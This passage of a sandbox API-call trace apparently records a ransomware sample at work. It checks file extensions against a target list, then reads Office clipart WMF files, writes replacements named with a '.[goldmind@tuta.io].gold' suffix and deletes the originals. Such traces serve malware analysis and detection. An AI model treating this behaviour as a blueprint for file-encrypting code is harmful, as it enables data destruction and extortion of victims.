lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.750] SetEndOfFile (hFile=0x230) returned 1 [0114.750] CloseHandle (hObject=0x230) returned 1 [0114.750] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.750] SetEndOfFile (hFile=0x180) returned 1 [0114.752] CloseHandle (hObject=0x180) returned 1 [0114.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.752] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf")) returned 1 [0114.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF") returned 63 [0114.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF") returned 63 [0114.753] lstrlenW (lpString=".doc") returned 4 [0114.753] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.753] lstrlenW (lpString=".docx") returned 5 [0114.753] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0114.753] lstrlenW (lpString=".pdf") returned 4 [0114.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.753] lstrlenW (lpString=".xls") returned 4 [0114.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.753] lstrlenW (lpString=".xlsx") returned 5 [0114.753] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0114.753] lstrlenW (lpString=".ppt") returned 4 [0114.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF") returned 63 [0114.753] lstrlenW (lpString=".zip") returned 4 [0114.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.753] lstrlenW (lpString=".rar") returned 4 [0114.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.753] lstrlenW (lpString=".bz2") returned 4 [0114.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.753] lstrlenW (lpString=".7z") returned 3 [0114.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF") returned 63 [0114.753] lstrlenW (lpString=".dbf") returned 4 [0114.753] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF") returned 63 [0114.754] lstrlenW (lpString=".1cd") returned 4 [0114.754] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF") returned 63 [0114.754] lstrlenW (lpString=".jpg") returned 4 [0114.754] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF") returned 63 [0114.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF") returned 63 [0114.754] lstrlenW (lpString=".doc") returned 4 [0114.754] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.754] lstrlenW (lpString=".docx") returned 5 [0114.754] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0114.754] lstrlenW (lpString=".pdf") returned 4 [0114.754] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.754] lstrlenW (lpString=".xls") returned 4 [0114.754] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.754] lstrlenW (lpString=".xlsx") returned 5 [0114.754] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0114.754] lstrlenW (lpString=".ppt") returned 4 [0114.754] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF") returned 63 [0114.754] lstrlenW (lpString=".zip") returned 4 [0114.754] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.754] lstrlenW (lpString=".rar") returned 4 [0114.754] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.754] lstrlenW (lpString=".bz2") returned 4 [0114.754] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.754] lstrlenW (lpString=".7z") returned 3 [0114.754] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF") returned 63 [0114.754] lstrlenW (lpString=".dbf") returned 4 [0114.754] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF") returned 63 [0114.754] lstrlenW (lpString=".1cd") returned 4 [0114.754] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF") returned 63 [0114.754] lstrlenW (lpString=".jpg") returned 4 [0114.754] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.754] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.754] lstrlenW (lpString="J0200289.WMF") returned 12 [0114.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0114.755] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=41136) returned 1 [0114.755] CloseHandle (hObject=0x180) returned 1 [0114.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf")) returned 0x20 [0114.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0114.755] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.755] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0114.756] GetLastError () returned 0x0 [0114.756] ReadFile (in: hFile=0x180, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0xa0b0, lpOverlapped=0x0) returned 1 [0114.758] WriteFile (in: hFile=0x230, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xa0c0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xa0c0, lpOverlapped=0x0) returned 1 [0114.759] ReadFile (in: hFile=0x180, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.759] WriteFile (in: hFile=0x230, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.759] SetEndOfFile (hFile=0x230) returned 1 [0114.759] CloseHandle (hObject=0x230) returned 1 [0114.759] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.759] SetEndOfFile (hFile=0x180) returned 1 [0114.761] CloseHandle (hObject=0x180) returned 1 [0114.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.762] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf")) returned 1 [0114.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF") returned 63 [0114.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF") returned 63 [0114.763] lstrlenW (lpString=".doc") returned 4 [0114.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.763] lstrlenW (lpString=".docx") returned 5 [0114.763] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0114.763] lstrlenW (lpString=".pdf") returned 4 [0114.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.763] lstrlenW (lpString=".xls") returned 4 [0114.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.763] lstrlenW (lpString=".xlsx") returned 5 [0114.763] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0114.763] lstrlenW (lpString=".ppt") returned 4 [0114.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF") returned 63 [0114.763] lstrlenW (lpString=".zip") returned 4 [0114.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.763] lstrlenW (lpString=".rar") returned 4 [0114.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.763] lstrlenW (lpString=".bz2") returned 4 [0114.763] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.763] lstrlenW (lpString=".7z") returned 3 [0114.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF") returned 63 [0114.763] lstrlenW (lpString=".dbf") returned 4 [0114.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF") returned 63 [0114.763] lstrlenW (lpString=".1cd") returned 4 [0114.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF") returned 63 [0114.763] lstrlenW (lpString=".jpg") returned 4 [0114.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF") returned 63 [0114.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF") returned 63 [0114.763] lstrlenW (lpString=".doc") returned 4 [0114.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.763] lstrlenW (lpString=".docx") returned 5 [0114.763] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0114.763] lstrlenW (lpString=".pdf") returned 4 [0114.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.763] lstrlenW (lpString=".xls") returned 4 [0114.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.763] lstrlenW (lpString=".xlsx") returned 5 [0114.763] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0114.763] lstrlenW (lpString=".ppt") returned 4 [0114.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF") returned 63 [0114.764] lstrlenW (lpString=".zip") returned 4 [0114.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.764] lstrlenW (lpString=".rar") returned 4 [0114.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.764] lstrlenW (lpString=".bz2") returned 4 [0114.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.764] lstrlenW (lpString=".7z") returned 3 [0114.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF") returned 63 [0114.764] lstrlenW (lpString=".dbf") returned 4 [0114.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF") returned 63 [0114.764] lstrlenW (lpString=".1cd") returned 4 [0114.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF") returned 63 [0114.764] lstrlenW (lpString=".jpg") returned 4 [0114.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.764] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.764] lstrlenW (lpString="J0200377.WMF") returned 12 [0114.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0114.765] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=20232) returned 1 [0114.765] CloseHandle (hObject=0x180) returned 1 [0114.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf")) returned 0x20 [0114.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0114.765] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.765] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0114.766] GetLastError () returned 0x0 [0114.766] ReadFile (in: hFile=0x180, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x4f08, lpOverlapped=0x0) returned 1 [0114.768] WriteFile (in: hFile=0x230, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x4f10, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x4f10, lpOverlapped=0x0) returned 1 [0114.769] ReadFile (in: hFile=0x180, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.769] WriteFile (in: hFile=0x230, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.769] SetEndOfFile (hFile=0x230) returned 1 [0114.769] CloseHandle (hObject=0x230) returned 1 [0114.769] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.769] SetEndOfFile (hFile=0x180) returned 1 [0114.771] CloseHandle (hObject=0x180) returned 1 [0114.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.771] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf")) returned 1 [0114.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF") returned 63 [0114.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF") returned 63 [0114.772] lstrlenW (lpString=".doc") returned 4 [0114.772] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.772] lstrlenW (lpString=".docx") returned 5 [0114.772] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0114.772] lstrlenW (lpString=".pdf") returned 4 [0114.772] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.772] lstrlenW (lpString=".xls") returned 4 [0114.772] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.772] lstrlenW (lpString=".xlsx") returned 5 [0114.772] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0114.772] lstrlenW (lpString=".ppt") returned 4 [0114.772] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF") returned 63 [0114.772] lstrlenW (lpString=".zip") returned 4 [0114.772] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.772] lstrlenW (lpString=".rar") returned 4 [0114.772] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.772] lstrlenW (lpString=".bz2") returned 4 [0114.772] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.772] lstrlenW (lpString=".7z") returned 3 [0114.772] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF") returned 63 [0114.772] lstrlenW (lpString=".dbf") returned 4 [0114.772] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF") returned 63 [0114.772] lstrlenW (lpString=".1cd") returned 4 [0114.772] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF") returned 63 [0114.772] lstrlenW (lpString=".jpg") returned 4 [0114.772] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF") returned 63 [0114.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF") returned 63 [0114.772] lstrlenW (lpString=".doc") returned 4 [0114.772] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.772] lstrlenW (lpString=".docx") returned 5 [0114.772] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0114.772] lstrlenW (lpString=".pdf") returned 4 [0114.772] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.772] lstrlenW (lpString=".xls") returned 4 [0114.772] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.772] lstrlenW (lpString=".xlsx") returned 5 [0114.772] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0114.772] lstrlenW (lpString=".ppt") returned 4 [0114.772] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF") returned 63 [0114.772] lstrlenW (lpString=".zip") returned 4 [0114.772] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.772] lstrlenW (lpString=".rar") returned 4 [0114.773] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.773] lstrlenW (lpString=".bz2") returned 4 [0114.773] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.773] lstrlenW (lpString=".7z") returned 3 [0114.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF") returned 63 [0114.773] lstrlenW (lpString=".dbf") returned 4 [0114.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF") returned 63 [0114.773] lstrlenW (lpString=".1cd") returned 4 [0114.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF") returned 63 [0114.773] lstrlenW (lpString=".jpg") returned 4 [0114.773] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.773] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.773] lstrlenW (lpString="J0200383.WMF") returned 12 [0114.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0114.774] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=21400) returned 1 [0114.774] CloseHandle (hObject=0x180) returned 1 [0114.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf")) returned 0x20 [0114.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0114.774] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.774] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0114.775] GetLastError () returned 0x0 [0114.775] ReadFile (in: hFile=0x180, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x5398, lpOverlapped=0x0) returned 1 [0114.776] WriteFile (in: hFile=0x230, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x53a0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x53a0, lpOverlapped=0x0) returned 1 [0114.777] ReadFile (in: hFile=0x180, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.777] WriteFile (in: hFile=0x230, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.777] SetEndOfFile (hFile=0x230) returned 1 [0114.846] CloseHandle (hObject=0x230) returned 1 [0115.009] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.009] SetEndOfFile (hFile=0x180) returned 1 [0115.263] CloseHandle (hObject=0x180) returned 1 [0115.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.264] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf")) returned 1 [0115.265] lstrlenW (lpString="C:\\Program Files\\Microsoft 